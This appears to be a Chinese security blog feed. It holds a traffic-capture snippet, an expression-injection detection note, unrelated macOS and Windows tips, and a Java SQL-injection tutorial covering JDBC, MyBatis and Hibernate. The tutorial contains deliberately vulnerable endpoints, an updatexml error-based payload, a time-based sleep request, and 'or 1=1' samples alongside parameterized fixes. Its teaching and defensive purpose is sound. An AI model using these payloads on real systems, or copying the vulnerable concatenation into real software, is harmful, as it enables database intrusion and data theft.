                headers["URL"] = parts[1]
            }
        }
    }
    return headers, body
}
func getRequestMethod(payload []byte) string {
    lines := strings.Split(string(payload), "\r\n")
    parts := strings.Fields(lines[0])
    if len(parts) > 0 {
        return parts[0]
    }
    return ""
}

func getRequestURL(payload []byte) string {
    lines := strings.Split(string(payload), "\r\n")
    parts := strings.Fields(lines[0])
    if len(parts) > 1 {
        return parts[1]
    }
    return ""
}

上述代码主要功能，通过采集所有网卡(any)，最大65535字节大小的HTTP GET/POST请求，并给到结构体，最后输出到JSON文件中。

采集的数据如下

https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/test_file/requests_responses.json

从上面的流程中已经拿到了完整的HTTP请求，只需要传输到接口上，下面用flask简单实现一个接口

from flask import Flask, request

app = Flask(__name__)


@app.route('/receive', methods=['POST'])
def receive_json():
    json_data = request.json
    print("Received JSON Data:")
    print(json_data)
    return 'JSON data received'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

获取JSON数据即可。

主要思路

1、采集HTTP请求

2、传输至服务端进行解析

3、替换鉴权字段重新请求

4、判断是否存在越权漏洞。

4、上述方案的缺点

1、无法采集HTTPS流量。

https解决方案
- ebpf
- 代理装证书

2、gopacket无法采集到响应

在测试中发现gopacket的嗅探采集是类似异步，不太好将request和response一一对应。

洞态IAST检测优化：Fel表达式注入

Fri, 13 Oct 2023 14:01:35 +0800

一、简介

　Fel是开放的，引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数），所有这些函数都是可以替换的，扩展函数也非常简单。

Fel有双引擎，同时支持解释执行和编译执行。可以根据性能要求选择执行方式。编译执行就是将表达式编译成字节码（生成java代码和编译模块都是可以扩展和替换的）

　FEL可以进行算数运算以及逻辑运算，也可以调用类的静态方法、非静态方法。

pom.xml

<dependency>
    <groupId>org.eweb4j</groupId>
    <artifactId>fel</artifactId>
    <version>0.8</version>
</dependency>

老古董：https://github.com/dbcxy/fast-el/tree/master
Google Code：https://code.google.com/archive/p/fast-el/

二、友商测试

1、默安-无法检测

三、洞态IAST

1、描述

el在源自于企业项目，设计目标是为了满足不断变化的功能需求和性能需求。
Fel是开放的，引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数），所有这些函数都是可以替换的，扩展函数也非常简单。
Fel可以执行表达式，如果此时Fel执行的表达式外部可控，则可能导致安全风险。

2、检测规则

com.greenpineyu.fel.parser.AntlrParser.parse(java.lang.String)
参数-P1
深度-当前类以及子类

3、修复方案

官方没有提供标准的修复方案，但是在commit中找到了所谓的安全管理器的实现，文档中也提示需要在保证安全的情况下可使用
https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38
1、使用官方提供的安全管理器

https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38
https://code.google.com/archive/p/fast-el/

洞态IAST检测优化：阿里QLExpress组件表达式注入

Fri, 13 Oct 2023 14:00:55 +0800

MacOS下高效记录会议纪要以及实时音频转文字解决方案

Tue, 27 Jun 2023 11:19:57 +0800

一、前言

本文解决了1个问题

1、如何同时带着耳机，并且能够音频识别电脑播放/会议声音转文字，还能够接收麦克风。

首先为什么会有这样一篇文章，其实大家不管是甲方还是乙方，特别是甲方，大部分时间其实都是被各种会议占满，需求评审，安全评估，安全培训等等等，那么乙方，更多的是与客户开会，或与甲方一样，公司内部开会，那么此时少不了的是会议纪要，可能有些会议比较枯燥，根本不会有人认真去听，但作为打工人来说 :)!

领导：小高啊，那个会议纪要你整理一下然后发给我/客户

我目前基本一周的会议特别多，不管是内部会议，还是外部会议，这时候就会有一个痛点，会议纪要怎么处理？
如果是旁听状态下还好，可以边听边记。
那么如果是主讲人呢？针对会上的问题，会上的内容无法汇总，也无法记录。

当然目前针对腾讯会议，飞书会议等会议办公软件，其实都提供这样的解决方案，会议录制可直接转换成文字，但这相对来说比较繁琐。

内部会议还好，外部会议总开个录屏，给人感觉不是特别好:)

那么有没有一款软件，可以让我在开会时，自动帮我记录会议内容？

华为MetaBook X Pro 就解决这样的问题，但是华为独占，做的也非常好，遥遥领先！

尊贵的水果用户能否拥有这样的体验？

本文会带来作为个人用户的解决方案（本文以水果人用户角度出发）

二、前期调研与产品体验

产品试用体验上，目前体验了以下几款产品

产品名	下载地址	产品形态
Noted	MACOS APP Store	客户端/多形态
语音备忘录日记本	MACOS APP Store	客户端
讯飞听见	在线录音转文字-录音整理-录音转写工具-讯飞听见会记 (iflyrec.com)	客户端/多形态
通义听悟（阿里）	通义听悟 - 你的工作学习AI助手 (aliyun.com)	浏览器/浏览器插件

先说实际体验

1、Noted

总体感觉比较轻量化，并且没有账号体系，macos原生使用Icloud进行同步

付费，价格如下图

1.1、优点

轻量化
编写
简单易用

1.2、缺点

语音转文字并不是特别准

见下图

这是来自我在一场面试时记录的内容，这里是求职者在介绍学校，但可以发现，错别字非常严重，另外完整记录下来，可读性基本为0。

2、通义听悟（阿里）

由于没有客户端，所以跳过

3、讯飞听见

科大讯飞目前是体验下来针对会议纪要最好的一个产品，毕竟做语音识别这么多年的大厂了。

来看看语音识别的能力

总体来说，转文字的识别率还是很高的，并且准确率也还行。

实际会议使用上发现也不错

缺点呢就是，加钱！

4、总结

目前会继续体验《讯飞听见》和《Noted》这两款产品，想看看一款好的产品能做到什么程度。

当然，一款好的产品，能够解决用户的痛点，帮助提升效率等，我觉得是值得付费的。

今年也是大大小小购买了很多正版的产品，比如Macos下的超级右键，自动切换输入法等，虽然这些产品都有公开的破解版可供下载，但如果在允许的条件下，也可以对开发者进行支持。

5、遇到的问题

其实在体验的过程中发现1个很严重的问题，如果不带耳机的情况下，外放进行电脑声音以及麦克风转文字的方案是可行的，但是如果使用耳机，那么常规的方案就不行了，至少我在macos的尝试下以及，阿里的听悟，科大讯飞，都没有见到能解决这个场景的，这也是本文带来的解决方案。

场景举例

1、现在需要使用腾讯会议开会，带着耳机

需要实现的内容

戴耳机的情况下需要能够识别电脑腾讯会议音频输出并且转文字
戴耳机的情况下能够接受耳机的麦克风音频输入并且转文字

三、如何在使用耳机的情况下同时录制电脑的声音以及耳机的麦克风

1、LoopBack

这个问题的解决方案是使用LoopBack创建一个虚拟的音频设备，来解决该问题。

再安装完成后Macos下会多出一个虚拟的音频驱动，打开LoopBack开始配置

2、LoopBack配置

点击下方的New Virtual Device来新建一个设备

配置如下

sources默认即可，再output中新增一个输出，监听中新增并选择耳机，我这里是AirPods Pro，所以选择自己的耳机名字。

随后在讯飞听见配置如下

这样配置后的效果

能够同时将电脑的音频输出与耳机的麦克风同时音频转文字，解决了上述的痛点。

3、最终效果

录制电脑音频

耳机语音输入

Windows11 LogonUI.exe 系统在应用程序中检测到基于堆栈都缓冲区溢出，溢出允许恶意用户获得此应用程序都控制。

Sun, 04 Jun 2023 14:11:11 +0800

问题

LogonUI.exe系统错误

系统在应用程序中检测到基于堆栈都缓冲区溢出，溢出允许恶意用户获得此应用程序都控制。

事情线：2023年6月3日一整天直至次日凌晨2点，我都不在家，次日凌晨2点（6月4日）回到家中发现一直运行中都电脑出现这个提示。

描述：LogonUI.exe 是 Windows 操作系统中的一个关键组件，它用于管理登录过程中显示的用户界面。”LogonUI” 实际上是 “Login User Interface” 的缩写，这就是它的主要职责：提供用户登录界面。

当你启动 Windows 电脑时，LogonUI.exe 将显示一个屏幕，让你输入用户名和密码或者选择一个用户账户进行登录。如果你的电脑设置了锁屏，那么在你退出锁屏并返回到 Windows 时，同样是 LogonUI.exe 提供的用户界面让你输入密码。

因此，如果 LogonUI.exe 发生错误或者被破坏，用户可能无法正常登录到系统。在某些情况下，错误可能导致系统无法正常启动，或者在登录过程中出现问题。

Google尝试了很多方法都没什么用，推荐B站都文章：https://www.bilibili.com/read/cv22299902

解决办法

1、进入Windows11 高级启动

注意：不要进PE，我自己做了一个大白菜PE，但是进PE无法操作这些东西，切没有SFC，总结就是不要进PE，没有用

开机后，进入Windows，弹出LogonUI.exe都报错后就长按电源，强制关机，反复3次左右，就会自动加载Windows高级启动

2、修复

在高级模式中打开CMD终端，输入下面都命令

sfc /scannow

此时会自动修复

随后重启会自动进入Windows安全模式，然后Windows的窗口桌面一直都是无响应，鼠标无法点击，不用管，直接WIN+R打开CMD。

然后再重启，就修复完毕了，就能自动进入系统

Java-SQL注入

Tue, 18 Oct 2022 23:33:37 +0800

1、JDBC

1.1、Statement

创建连接对象使用CreateStatement()

Statement stmt = null;
try {
   stmt = conn.createStatement( );
   . . .
}
catch (SQLException e) {
   . . .
}
finally {
   stmt.close();
}

JDBC使用Statement是不安全的，需要程序员做好过滤，所以一般使用JDBC的程序员会更喜欢使用PrepareStatement做预编译，预编译不仅提高了程序执行的效率，还提高了安全性。

常见SQL场景-语句拼接

使用Statement来操作数据库比较常见的场景是直接使用+拼接SQL语句，如下图

@GetMapping("/vul1")  
public String vul1(String id) {  

    StringBuilder result = new StringBuilder();  

    try {  
        Class.forName("com.mysql.cj.jdbc.Driver");  
        Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);  

        Statement stmt = conn.createStatement();  
        String sql = "select * from users where id = '" + id + "'";  
        log.info("[vul] 执行SQL语句： " + sql);  
        ResultSet rs = stmt.executeQuery(sql);  

        while (rs.next()) {  
            String res_name = rs.getString("user");  
            String res_pass = rs.getString("pass");  
            String info = String.format("查询结果 %s: %s", res_name, res_pass);  
            result.append(info);  
        }  

        rs.close();  
        stmt.close();  
        conn.close();  
        return result.toString();  

    } catch (Exception e) {  
        // 输出错误，用于报错注入  
        return e.toString();  
    }  
}

例如String id获取的参数为1，那么此时的SQL语句为

select * from users where id = '1'

因为这里并未对String id参数进行过滤，所以传入'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--%20+就会造成SQL注入，那么此时的语句变成下面这样

select * from users where id = ''and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--%20+'

可以看到传入的单引号闭合了前面的单引号，并且最后使用–+注释原来的单引号，这样就导致了SQL注入。

Tips: 不过这里做一个思考，Java是一个强类型的语言，那么在使用id来代表参数，那么大概率接收的是一个int类型的值，我认为如果站在java开发的角度上想，这里如果定义为int id是不是就不会造成注入了呢？

手动修改一下这里的代码，然后启动

很显然，这里报错了，因为是类型转换的问题，我们传入的Str没办法转成int，所以这里及时存在SQL注入，在这种类型的限制下，也没有办法进行SQL语句拼接

1.2、PreParedStatement

PrepareStatement与Statement的区别对SQL语句进行预编译处理，预编译的好处除了在一定程度上防止SQL注入之外，还减少了SQL语句的编译次数，有效的提高了性能，而SQL注入只对编译过程有破坏作用，执行阶段只是把输入串作为数据处理，不需要再对SQL语句进行解析，因此解决了注入问题。

因为SQL语句编译阶段是进行词法分析、语法分析、语义分析等过程的，也就是说编译过程识别了关键字、执行逻辑之类的东西，编译结束了这条SQL语句能干什么就定了。而在编译之后加入注入的部分，就已经没办法改变执行逻辑了，这部分就只能是相当于输入字符串被处理

String sql = "select * from users where id = ?";
PreparedStatement st = conn.prepareStatement(sql);
st.setString(1, id);
ResultSet rs = st.executeQuery();

Statement与prepareStatement的区别

1、prepareStatement会先初始化SQL，先把这个SQL提交到数据库中进行预处理，多次使用可提高效率，而Statement不会初始化，没有预处理，每次都是从0开始执行SQL。
2、prepareStatement可以在SQL中用?替换变量，而createStatement不支持 ? 替换变量，只能在sql中拼接参数
3、在使用功能上的区别
如果想要删除三条数据
对于createStatement，需要写三条语句

String sql = "delete from category where id = 2"  ; 
String sql = "delete from category where id = 3"  ; 
String sql = "delete from category where id = 7"  ;

而prepareStatement，通过set不同数据只需要生成一次执行计划，可以重用

String sql = "delete from category where id = ？"  ;

PreparedStatement是预编译的,对于批量处理可以大大提高效率.也叫JDBC存储过程。
使用createStatement 对象。在对数据库只执行一次性存取的时侯，用 createStatement对象进行处理。PreparedStatement对象的开销比createStatement大，对于一次性操作并不会带来额外的好处。
createStatement每次执行sql语句，相关数据库都要执行sql语句的编译，preparedstatement是预编译得,preparedstatement支持批处理

总结
Statement每次执行sql语句，数据库都要执行sql语句的编译，最好用于仅执行一次查询并返回结果的情形，效率高于PreparedStatement.但存在sql注入风险。PreparedStatement是预编译执行的。在执行可变参数的一条SQL时，PreparedStatement要比Statement的效率高，因为DBMS预编译一条SQL当然会比多次编译一条SQL的效率高。安全性更好，有效防止SQL注入的问题。对于多次重复执行的语句，使用prepareStatement，因为数据库会对sql语句进行预编译，下次执行相同的sql语句时，数据库端不会再进行预编译了，而直接用数据库的缓冲区，提高数据访问的效率（但尽量采用使用？号的方式传递参数），如果sql语句只执行一次，以后不再复用。

为什么预编译（PrepareStatement）可以防止sql注入

原理是采用了预编译的方法，先将SQL语句中可被客户端控制的参数集进行编译，生成对应的临时变量集，再使用对应的设置方法，为临时变量集里面的元素进行赋值，赋值函数setString()，会对传入的参数进行强制类型检查和安全检查，所以就避免了SQL注入的产生。下面具体分析。

Statement之所以会被sql注入是因为SQL语句结构发生了变化。比如：

SQL = “SELECT * FROM users WHERE (name = ‘” + userName + “’) and (pw = ‘”+ passWord +”’);”

//如果恶意填入
userName = “1’ OR ‘1’=’1”;
passWord = “1’ OR ‘1’=’1”;

//将变成
SQL = SELECT * FROM users WHERE (name = ‘1’ OR ‘1’=’1’) and (pw = ‘1’ OR ‘1’=’1’);

//相当于
SQL = SELECT * FROM users;

Sql

而Preparement样式为

SELECT * FROM users WHERE userName=? and passWord=?

Sql

该SQL语句会在得到用户的输入之前先用数据库进行预编译，这样的话不管用户输入什么用户名和密码的判断始终都是并的逻辑关系，防止了SQL注入。

简单总结，参数化能防注入的原因在于，语句是语句，参数是参数，参数的值并不是语句的一部分，数据库只按语句的语义跑。

预编译注入场景

拼接语句

public String vul2(String id) {  

    StringBuilder result = new StringBuilder();  

    try {  
        Class.forName("com.mysql.cj.jdbc.Driver");  
        Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);  

        String sql = "select * from users where id = " + id;  
        log.info("[vul] 执行SQL语句： " + sql);  
        PreparedStatement st = conn.prepareStatement(sql);  
        ResultSet rs = st.executeQuery();  

        while (rs.next()) {  
            String res_name = rs.getString("user");  
            String res_pass = rs.getString("pass");  
            String info = String.format("查询结果%n %s: %s%n", res_name, res_pass);  
            result.append(info);  
        }  

        rs.close();  
        st.close();  
        conn.close();  
        return result.toString();  

    } catch (Exception e) {  
        return e.toString();  
    }  
}

在代码中可以看到，这里使用了prepareStatement对SQL语句进行预编译处理，但是还是使用+号拼接的方式拼接了前端传入的参数，没有使用?号做占位符，这样就导致了prepareStatement预编译处理防止SQL注入失效了。

在控制台中可以看到打印的SQL语句

Tips: 来看看使用?号占位符的时候SQL语句的样子

不难发现使用?号占位符之后，传入的参数还是会在’’中间，因为传入的只会当做字符串作为解析

like语句

新增一个方法，改一下代码

public String safe_test(String id) {  

    StringBuilder result = new StringBuilder();  
    try {  
        Class.forName("com.mysql.cj.jdbc.Driver");  
        Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);  
        String sql_1 = "where user like '%" + id + "%'";  
        String sql = "select * from users " + sql_1;  
        System.out.println("拼接后语句为: " + sql);  
        PreparedStatement st = conn.prepareStatement(sql);  
        log.info("[safe] 执行SQL语句： " + st);  
        ResultSet rs = st.executeQuery();  
        result.append("成功");  
        rs.close();  
        st.close();  
        conn.close();  
        return result.toString();  

    } catch (Exception e) {  
        return e.toString();  
    }  
}

然后构造参数请求接口

GET /SQLI/JDBC/test1?id=1%25'+or+sleep(3)%23 HTTP/1.1
Host: 192.168.0.35:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F445CA5F0CF6B1BE279BC0FA438873E6

in语句

在in当中使用拼接而不使用占位符做预编译的原因是因为很多时候无法确定Ids里含有多少个对象
例如下面的语句

select * from users where id in (2,3);
# 使用占位符就需要
select * from users where id in (?, ?);
# 那么有多个语句呢？如何动态的更新？

稍微改一下代码

orderby语句

首先为什么预编译无法防止order by注入，因为order by的子域后面需要加上字段名或者字段位置，但是字段名是不能带引号的，否则会被认为是一个字符串，但是使用PreapareStatement会强制给参数加上单引号

但是如果给order by加上单引号，可以发现order by的排序功能失效了

这里有三个对照组可以参考，所以在使用order by语句的时候必须拼接Statement，所以如果使用order by的话，需要对传入的参数进行过滤。

2、Mybatis

2.1、mybatis的占位符#和$

Mybatis下有两种传参方式，分别是${}以及#{}，
其区别是

使用${}的方式传参，mybatis是将传入的参数直接拼接到SQL语句上，
使用#{}传参则是和JDBC一样转换为占位符来进行预编译
2.2、#与$的区别
1、#和$哪个能防止SQL注入
#号传入的参数在SQL中显示为字符串
$号传入的参数在SqL中直接显示为传入的值
#号方式能够很大程度防止sql注入，$方式无法防止Sql注入

2、传入的参数在SQL中显示不同

1、传入的参数在SQL中显示为字符串（当成一个字符串），会对自动传入的数据加一个双引号。

例：使用以下SQL

select id,name,age from student where id =#{id}

当我们传递的参数id为 “1” 时，上述 sql 的解析为：

select id,name,age from student where id ="1"

$传入的参数在SqL中直接显示为传入的值
例：使用以下SQL

select id,name,age from student where id =${id}

当我们传递的参数id为 “1” 时，上述 sql 的解析为：

select id,name,age from student where id =1

3、实现方式不同

1、$号作用相当于是字符串拼接

相当于使用StringBuffer的append方法将 ${username}$ 追加在
select username,pass from t_login where username=后面，拼接在一起。
2、#号作用相当于变量值替换

相当于使用PreparedStement接口来对#{username}#来进行赋值操作。

4、使用场景不同

1、在sql语句中，如果要接收传递过来的变量的值的话，必须使用#。因为使用#是通过PreparedStement接口来操作，可以防止sql注入，并且在多次执行sql语句时可以提高效率。

2、只是简单的字符串拼接而已，所以要特别小心sql注入问题。对于sql语句中非变量部分，那就可以使用$，比如$方式一般用于传入数据库对象(如传入表名)。
例如：

select * from `${tableName}$`

对于不同的表执行统一的查询操作时，就可以使用$来完成。

5、可以防止SQL注入的风险（语句的拼接）；但$无法防止Sql注入。

6、大多数情况下还是经常使用#，一般能用#的就别用$

例：MyBatis排序时使用order by 动态参数时需要注意，用$而不是#。

2.3、mybatis的小Tips

1、为什么mybatis order by不能使用`#`号

select * from users order by id;
select * from users order by 'id';

最直观的两条SQL语句就可以证明为什么不能使用#号

这里很明显能够发现，当加上单引号之后，排序就失效了，这是为什么呢？

1、在Mysql中，如果order by后面是一个字符串，那么mysql根据一个常量列进行排序，但是所有常量的值都相等，所以就不会进行排序
2、Mybatis在使用#号引用参数的时候，会自动给参数两端加上引号，导致排序失效，因此MyBatis中使用Order by推荐使用$号

2、为什么表名需要使用$符号？

因为表名不允许使用引号，直接引用就报错，但是使用#号又会给表名加上单引号，导致报错，所以推荐使用$号

3、mybatis是如何做到防止sql注入的

【底层实现原理】在框架底层，是JDBC中的PreparedStatement类在起作用，PreparedStatement是我们很熟悉的Statement的子类，它的对象包含了编译好的SQL语句。这种“准备好”的方式不仅能提高安全性，而且在多次执行同一个SQL时，能够提高效率。原因是SQL已编译好，再次执行时无需再编译。

2.4、mybatis注入场景

1、使用${}占位

随后访问接口构造报错函数

try catch堆栈信息

2、order by注入

由于使用 #{} 会将对象转成字符串，形成 order by “user” desc 造成错误，因此很多研发会采用${}来解决，从而造成SQL注入

orderby在Mybatis如下

请求接口查看SQL执行的语句

然后手动执行一下SQL语句就知道差异是什么了

可以看到，在使用单引号加上order by排序的字段之后，orderby的排序功能直接失效，那么预编译处理的参数传进去之后肯定是有单引号的，故此会造成SQL注入

3、in与like语句

3、Hibernate

1、什么是Hibernate

Hibernate是一个开源的对象关系映射（ORM：Object Relation Mapping）框架，对JDBC进行了非常轻量级的对象封装，采用映射元数据（配置文件）来描述对象-关系的映射细节，是一个全自动的orm框架。hibernate可以自动生成SQL语句，自动执行，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。

2、什么是ORM框架

ORM是一种思想

O代表的是Objcet
R代表的是Relative
M代表的是Mapping
ORM->对象关系映射….ORM关注是对象与数据库中的列的关系

3、Hibermate架构

创建持久化类
创建对象-关系映射文件
创建Hibernate配置文件
通过Hibernate API编写访问数据库的代码

4、HQL注入场景

Hibernate查询方式主要有get/load主键查询，对象导航查询、HQL查询、Criteria查询、SQLQuery本地SQL查询。审计的方法主要是搜索createQuery()、createSQLQuery、criteria、createNativeQuery()，查看与其相关的上下文，检查是否存在拼接sql。

4.1、代码Demo

整体目录结构

4.1.1、Address.java

package com.uzju.hsql;  

import javax.persistence.Column;  
import javax.persistence.Entity;  
import javax.persistence.GeneratedValue;  
import javax.persistence.Id;  
import javax.persistence.OneToOne;  
import javax.persistence.PrimaryKeyJoinColumn;  
import javax.persistence.Table;  

import org.hibernate.annotations.GenericGenerator;  
import org.hibernate.annotations.Parameter;  

@Entity  
@Table(name = "ADDRESS")  
public class Address {  

    @Id  
    @Column(name = "emp_id", unique = true, nullable = false)  
    @GeneratedValue(generator = "gen")  
    @GenericGenerator(name = "gen", strategy = "foreign",  
            parameters = { @Parameter(name = "property", value = "employee") })  
    private long id;  

    @Column(name = "address_line1")  
    private String addressLine1;  

    @Column(name = "zipcode")  
    private String zipcode;  

    @Column(name = "city")  
    private String city;  

    @OneToOne  
    @PrimaryKeyJoinColumn    private Employee employee;  

    public long getId() {  
        return id;  
    }  

    public void setId(long id) {  
        this.id = id;  
    }  

    public String getAddressLine1() {  
        return addressLine1;  
    }  

    public void setAddressLine1(String addressLine1) {  
        this.addressLine1 = addressLine1;  
    }  

    public String getZipcode() {  
        return zipcode;  
    }  

    public void setZipcode(String zipcode) {  
        this.zipcode = zipcode;  
    }  

    public String getCity() {  
        return city;  
    }  

    public void setCity(String city) {  
        this.city = city;  
    }  

    public Employee getEmployee() {  
        return employee;  
    }  

    public void setEmployee(Employee employee) {  
        this.employee = employee;  
    }  

}

4.1.2、Employee.java

package com.uzju.hsql;  

import javax.persistence.Column;  
import javax.persistence.Entity;  
import javax.persistence.GeneratedValue;  
import javax.persistence.GenerationType;  
import javax.persistence.Id;  
import javax.persistence.OneToOne;  
import javax.persistence.Table;  

import org.hibernate.annotations.Cascade;  

@Entity  
@Table(name = "EMPLOYEE")  
public class Employee {  

    @Id  
    @GeneratedValue(strategy = GenerationType.IDENTITY)  
    @Column(name = "emp_id")  
    private long id;  

    @Column(name = "emp_name")  
    private String name;  

    @Column(name = "emp_salary")  
    private double salary;  

    @OneToOne(mappedBy = "employee")  
    @Cascade(value = org.hibernate.annotations.CascadeType.ALL)  
    private Address address;  

    public long getId() {  
        return id;  
    }  

    public void setId(long id) {  
        this.id = id;  
    }  

    public Address getAddress() {  
        return address;  
    }  

    public void setAddress(Address address) {  
        this.address = address;  
    }  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public double getSalary() {  
        return salary;  
    }  

    public void setSalary(double salary) {  
        this.salary = salary;  
    }  

}

4.1.3、HibernateUtil.java

package com.uzju.hsql;  

import org.hibernate.SessionFactory;  
import org.hibernate.boot.registry.StandardServiceRegistryBuilder;  
import org.hibernate.cfg.Configuration;  
import org.hibernate.service.ServiceRegistry;  

public class HibernateUtil {  

    private static SessionFactory sessionFactory;  

    private static SessionFactory buildSessionFactory() {  
        try {  
            // Create the SessionFactory from hibernate.cfg.xml  
            Configuration configuration = new Configuration();  
            configuration.configure("hibernate.cfg.xml");  
            System.out.println("Hibernate Configuration loaded");  

            ServiceRegistry serviceRegistry = new StandardServiceRegistryBuilder().applySettings(configuration.getProperties()).build();  
            System.out.println("Hibernate serviceRegistry created");  

            SessionFactory sessionFactory = configuration.buildSessionFactory(serviceRegistry);  

            return sessionFactory;  
        }  
        catch (Throwable ex) {  
            System.err.println("Initial SessionFactory creation failed." + ex);  
            ex.printStackTrace();  
            throw new ExceptionInInitializerError(ex);  
        }  
    }  

    public static SessionFactory getSessionFactory() {  
        if(sessionFactory == null) sessionFactory = buildSessionFactory();  
        return sessionFactory;  
    }  
}

4.1.4、HQLExamples.java

package com.uzju.hsql;  

import java.util.Arrays;  
import java.util.List;  

import org.hibernate.Query;  
import org.hibernate.Session;  
import org.hibernate.SessionFactory;  
import org.hibernate.Transaction;  

public class HQLExamples {  

    @SuppressWarnings("unchecked")  
    public static void main(String[] args) {  

        //Prep work  
        SessionFactory sessionFactory = HibernateUtil.getSessionFactory();  
        Session session = sessionFactory.getCurrentSession();  

        //HQL example - Get All Employees  
        Transaction tx = session.beginTransaction();  
        Query query = session.createQuery("from Employee");  
        List<Employee> empList = query.list();  
        for(Employee emp : empList){  
            System.out.println("List of Employees::"+emp.getId()+","+emp.getAddress().getCity());  
        }  

        //HQL example - Get Employee with id  
        query = session.createQuery("from Employee where id= :id");  
        query.setLong("id", 3);  
        Employee emp = (Employee) query.uniqueResult();  
        System.out.println("Employee Name="+emp.getName()+", City="+emp.getAddress().getCity());  

//        //HQL pagination example  
//        query = session.createQuery("from Employee");  
//        query.setFirstResult(0); //starts with 0  
//        query.setFetchSize(2);  
//        empList = query.list();  
//        for(Employee emp4 : empList){  
//            System.out.println("Paginated Employees::"+emp4.getId()+","+emp4.getAddress().getCity());  
//        }  
//  
//        //HQL Aggregate function examples  
//        query = session.createQuery("select sum(salary) from Employee");  
//        double sumSalary = (Double) query.uniqueResult();  
//        System.out.println("Sum of all Salaries= "+sumSalary);  
//  
//        //HQL join examples  
//        query = session.createQuery("select e.name, a.city from Employee e "  
//                + "INNER JOIN e.address a");  
//        List<Object[]> list = query.list();  
//        for(Object[] arr : list){  
//            System.out.println(Arrays.toString(arr));  
//        }  
//  
//        //HQL group by and like example  
//        query = session.createQuery("select e.name, sum(e.salary), count(e)"  
//                + " from Employee e where e.name like '%i%' group by e.name");  
//        List<Object[]> groupList = query.list();  
//        for(Object[] arr : groupList){  
//            System.out.println(Arrays.toString(arr));  
//        }  
//  
//        //HQL order by example  
//        query = session.createQuery("from Employee e order by e.id desc");  
//        empList = query.list();  
//        for(Employee emp3 : empList){  
//            System.out.println("ID Desc Order Employee::"+emp3.getId()+","+emp3.getAddress().getCity());  
//        }  

        //rolling back to save the test data        tx.rollback();  

        //closing hibernate resources  
        sessionFactory.close();  
    }  

}

4.1.5、hibernate.cfg.xml

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE hibernate-configuration PUBLIC  
        "-//Hibernate/Hibernate Configuration DTD 3.0//EN"  
        "https://hibernate.org/dtd/hibernate-configuration-3.0.dtd">  
<hibernate-configuration>  
    <session-factory>        <property name="hibernate.connection.driver_class">com.mysql.jdbc.Driver</property>  
        <property name="hibernate.connection.password">root</property>  
        <property name="hibernate.connection.url">jdbc:mysql://localhost/test</property>  
        <property name="hibernate.connection.username">root</property>  
        <property name="hibernate.dialect">org.hibernate.dialect.MySQLDialect</property>  

        <property name="hibernate.current_session_context_class">thread</property>  
        <property name="hibernate.show_sql">true</property>  

        <mapping class="com.uzju.hsql.Employee"/>  
        <mapping class="com.uzju.hsql.Address"/>  
    </session-factory></hibernate-configuration>

4.2、拼接语句

String SQLInject = "1";  
String SQL = "from Employee where id= " + SQLInject;  
List<Employee> emp = session.createQuery(SQL).list();  
for (Employee employee : emp){  
    System.out.println(employee.getName());  
    System.out.println("=====");  
}

String SQLInject = "1 or 1 = 1";  
String SQL = "from Employee where id= " + SQLInject;

4.2、createSQLQuery查询

Hibernate对原生SQL查询的支持和控制是通过SQLQuery接口实现的，这种方式弥补了HQL、Criterion查询的不足，其直接使用sql语句进行查询，在操作和使用上往往更加的自由和灵活，如果使用得当，数据库操作的效率还会得到不同程度的提升。一般复杂的sql都会用到它。

该方法与常规的SQL注入没什么区别，存在注入点直接拼接就可以造成注入，无条件限制。

新版本hibernate已经弃用createSQLQuery()，可使用createNativeQuery()代替。

4.3、Criteria注入

当查询数据时，人们往往需要设置查询条件。在SQL或HQL语句中，查询条件常常放在where子句中。此外，Hibernate还支持Criteria查询（Criteria Query），这种查询方式把查询条件封装为一个Criteria对象。在实际应用中，使用Session的createCriteria()方法构建一个org.hibernate.Criteria实例，然后把具体的查询条件通过Criteria的add()方法加入到Criteria实例中。这样，程序员可以不使用SQL甚至HQL的情况下进行数据查询。

4.3.1、Criteria Query常用的查询限制方法

5、Hibernate修复

5.1、Hibernate参数绑定的方式

参数绑定优点：
（1）安全性

防止用户恶意输入条件和恶意调用存储过程
（2）提高性能
底层采用JDBC的PreparedStatement预定义sql功能，后期查询直接从缓存中获取执行
5.1.1、按命名参数绑定（参数名字）
在HQL语句中定义命名参数要用”:”开头
```
1 Query query=session.createQuery(“from User user where user.name=:username and user.age=:userage ”);
2 query.setString(“username”,name);
3 query.setInteger(“userage”,age);
```
上面代码中用:username和:userage分别定义了命名参数，然后用Query接口的setXXX()方法设定名参数值，setXXX()方法包含两个参数，分别是命名参数名称和命名参数实际值。

5.1.2、按参数位置邦定

　在HQL查询语句中用”?”来定义参数位置，形式如下：

Query query=session.createQuery(“from User user where user.name=? and user.age =? ”);
query.setString(0,name);
query.setInteger(1,age);

同样使用setXXX()方法设定绑定参数，只不过这时setXXX()方法的第一个参数代表绑定参数在HQL语句中出现的位置编号（由0开始编号），第二个参数仍然代表参数实际值。

注：在实际开发中，提倡使用按名称绑定命名参数，因为这不但可以提供非常好的程序可读性，而且也提高了程序的易维护性，因为当查询参数的位置发生改变时，按名称邦定名参数的方式中是不需要调整程序代码的。

5.1.3、setParameter()方法

在Hibernate的HQL查询中可以通过setParameter()方法邦定任意类型的参数，如下代码：

String hql=”from User user where user.name=:customername ”;
Query query=session.createQuery(hql);
query.setParameter(“customername”,name,Hibernate.STRING);

